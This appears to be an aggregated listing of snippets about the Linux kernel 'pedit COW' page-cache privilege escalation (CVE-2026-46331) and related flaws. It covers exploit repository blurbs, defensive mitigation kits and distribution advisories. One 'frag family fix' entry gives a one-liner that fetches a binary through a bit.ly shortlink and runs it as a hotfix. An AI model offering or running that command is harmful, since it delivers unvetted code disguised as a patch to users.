page-cache-corruption-lpes

页缓存损坏本地权限提升漏洞（LPEs） 3 个 Linux 内核本地权限提升利用程序。与 Dirty COW 和 Dirty Pipe 相同的漏洞类别。数秒内获得 root shell。所有主流发行版均受影响。 这三个漏洞利用程序都会破坏内核的页缓存——即进程实际读取和执行的文件在内存中的副本。磁盘上的文件从未被修改。文件完整性工具不会发现任何异常。execve"/usr/bin/su" 从缓存加载 → 运行你的 shellcode → 获得 root。 漏洞利用程序 漏洞利用程序| CVE| 机制| 获得 root 的时间| 代码行数 ---|---|---|---|--- Dirty...

pedit-cow

CVE-2026-46331 是一个 Linux 内核权限提升漏洞，涉及流量控制子系统和页缓存损坏。 要求： Linux x8664 GCC iproute2 tc 存在漏洞的内核 利用流程： SUID 枚举 ↓ 目标选择 ↓ ELF 分析 ↓ tc / Netlink / pedit ↓ 页缓存损坏 ↓ 损坏验证 ↓ SUID 执行 ↓ 权限提升...

CVE-2026-46331

CVE-2026-46331 - "pedit COW" 漏洞评估与缓解指南 此仓库包含基本的管理工具，用于检查系统暴露风险并对 Linux 内核中的本地权限提升漏洞 CVE-2026-46331 （被称为 "pedit COW" ）应用临时缓解措施。 仓库内容 1. check.sh : 本地诊断脚本，用于检查当前内核版本和用户 namespaces 配置，以评估系统风险等级。 2. fixvulnerabilidad.sh : 临时修复脚本，限制非特权 namespaces 的克隆，从而阻断常见利用向量，无需立即重启。...

pagecache-lpe-containment-kit

页缓存本地提权防护套件 检测、遏制并验证针对两种 Linux 页缓存损坏本地提权漏洞——DirtyClone（CVE-2026-43503） 和 pedit COW（CVE-2026-46331） ——在主机和容器中的防御措施。 这是一个教育性、防御性 的安全套件。它解释了这两个漏洞如何在系统调用层面工作，并提供了加固、检测、验证和 seccomp 工具——外加一个验证框架，证明这些工具在实际内核上有效。它不包含任何漏洞利用代码、shellcode 或目标偏移量，这是经过设计的。 目录 为何存在 30 秒了解漏洞 快速开始 套件内容 系统要求 范围与伦理 了解更多 贡献 许可证 为何存在...

cve_2026_frag_family_fix

frag family 漏洞缓解工具 Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 在任何 Linux 上运行热修复 b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep -v .exe | cut -d '"' -f 4 && chmod +x $b && $b 或...

dirtyclone-exploit

DirtyClone エクスプロイトフレームワーク CVE-2026-46331 — Linux カーネルローカル権限昇格 TC pedit + IPsec TEE ページキャッシュ破損 · 影響を受けるカーネル: ≤ 6.12.9 ╔═══════════════════════════════════════════════════════════════╗ ║ ║ ║ | \ | | / | | ║ ║ | | | | | '| | | | | | | |/ | ' \ / \ ║ ║ | || | | | | || || | || | | | | | / ║ ║ |/||| |,...

Astra Linux – Vulnerability found in Linux 6.1, Linux 6.12

In the Linux kernel, the following vulnerabilities have been resolved: net/sched: Fixed a issue where partial COW operations by pedit led to corruption of the page cache. tcfpeditact calculates the COW range for skbensurewritable once before the key loop, using tcfpoffmaxhint. However, this hint...

Exploit for Integer Overflow or Wraparound in Linux Linux_Kernel

Proof of Concept for a Linux kernel pr...

VulnCheck KEV: CVE-2026-46331

In the Linux kernel, the following vulnerability has been resolved: net/sched: fix pedit partial COW leading to page cache corruption tcfpeditact computes the COW range for skbensurewritable once before the key loop using tcfpoffmaxhint, but the hint does not account for the runtime header offset...

Amazon Linux 2 : kernel, --advisory ALAS2KERNEL-5.15-2026-111 (ALASKERNEL-5.15-2026-111)

The version of kernel installed on the remote host is prior to 5.15.211-149.249. It is, therefore, affected by multiple vulnerabilities as referenced in the ALAS2KERNEL-5.15-2026-111 advisory. In the Linux kernel, the following vulnerability has been resolved: ext4: replace BUGON with proper erro...

Exploit for Out-of-bounds Write in Linux Linux_Kernel

PoC-CVE-2026-46...

pedit-cow-exploit

CVE-2026-46331 – pedit COW Local Privilege Escalation Proof-of...

Medium: kernel6.12

Issue Overview: In the Linux kernel, the following vulnerability has been resolved: net/sched: fix pedit partial COW leading to page cache corruption CVE-2026-46331 Affected Packages: kernel6.12 Issue Correction: Run dnf update kernel6.12 --releasever 2023.12.20260720 or dnf update --advisory...

Important: kernel6.12

Issue Overview: In the Linux kernel, the following vulnerability has been resolved: mm/pagealloc: clear page-private in freepagesprepare CVE-2026-43303 In the Linux kernel, the following vulnerability has been resolved: ipvs: skip ipv6 extension headers for csum checks CVE-2026-45850 In the Linux...

SUSE SLES15 : Security update for the Linux Kernel (SUSE-SU-2026:3089-1)

The remote SUSE Linux SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:3089-1 advisory. The SUSE Linux Enterprise 15 SP5 kernel was updated to fix various security issues The following security issues were fixed: -...

SUSE-SU-2026:3044-1 Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP4 kernel was updated to fix various security issues The following security issues were fixed: - CVE-2026-31771: Bluetooth: hcievent: move wake reason storage into validated event handlers bsc1264145. - CVE-2026-43038: ipv6: icmp: clear skb2-cb in...

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP4 RT kernel was updated to fix various security issues The following security issues were fixed: CVE-2026-31771: Bluetooth: Ignore HCIERRORCANCELLEDBYHOST on adv set terminated event bsc1264145. CVE-2026-43038: ipv6: icmp: clear skb2-cb in ip6errgenicmpv6unreach...

OESA-2026-2870 kernel security update

The Linux Kernel, the operating system core itself. Security Fixes: In the Linux kernel, the following vulnerability has been resolved: net/sched: fix pedit partial COW leading to page cache corruption tcfpeditact computes the COW range for skbensurewritable once before the key loop using...

MiracleLinux 8 : kernel-4.18.0-553.136.1.el8_10 (AXSA:2026-1016:45)

The remote MiracleLinux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the AXSA:2026-1016:45 advisory. kernel: Linux kernel: Use-after-free in bonding driver leads to denial of service CVE-2026-31419 kernel: drm/amd/display: Do not skip unrelated mode...

Unbreakable Enterprise kernel security update

5.15.0-322.203.3.2 - KVM: x86/mmu: Ensure hugepage is in by slot before checking max mapping level Sean Christopherson Orabug: 39673886 - KVM: x86: Fix shadow paging use-after-free due to unexpected role Paolo Bonzini Orabug: 39673886 - KVM: x86: Fix shadow paging use-after-free due to unexpected...